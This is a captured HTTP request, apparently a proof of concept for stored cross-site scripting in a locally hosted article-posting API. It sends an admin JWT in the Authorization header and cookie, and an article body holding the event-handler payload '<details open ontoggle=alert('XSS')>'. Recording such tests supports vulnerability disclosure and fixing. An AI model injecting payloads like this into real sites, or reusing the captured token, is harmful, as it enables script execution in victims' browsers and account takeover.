POST /api/article/post HTTP/1.1
Authorization: eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJhZG1pbiIsInN1YiI6ImFkbWluIiwiaWF0IjoxNzcwNjg4NTMxfQ.GqzZgHIR4ausjZ90aOLdRfWBOnRT2rqoEm0FsDb7G_k
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
Accept-Encoding: gzip, deflate, br, zstd
Referer: http://localhost:3000/topic/news?page=1
Cookie: auth.strategy=local; auth._token.local=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJhZG1pbiIsInN1YiI6ImFkbWluIiwiaWF0IjoxNzcwNjg4NTMxfQ.GqzZgHIR4ausjZ90aOLdRfWBOnRT2rqoEm0FsDb7G_k; auth._token_expiration.local=1770689430548
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
Accept: application/json, text/plain, */*
Sec-Fetch-Site: same-origin
Content-Type: application/json
"articleTitle": "XSS Test",
"articleContentHtml": "<details open ontoggle=alert('XSS')>test</details>",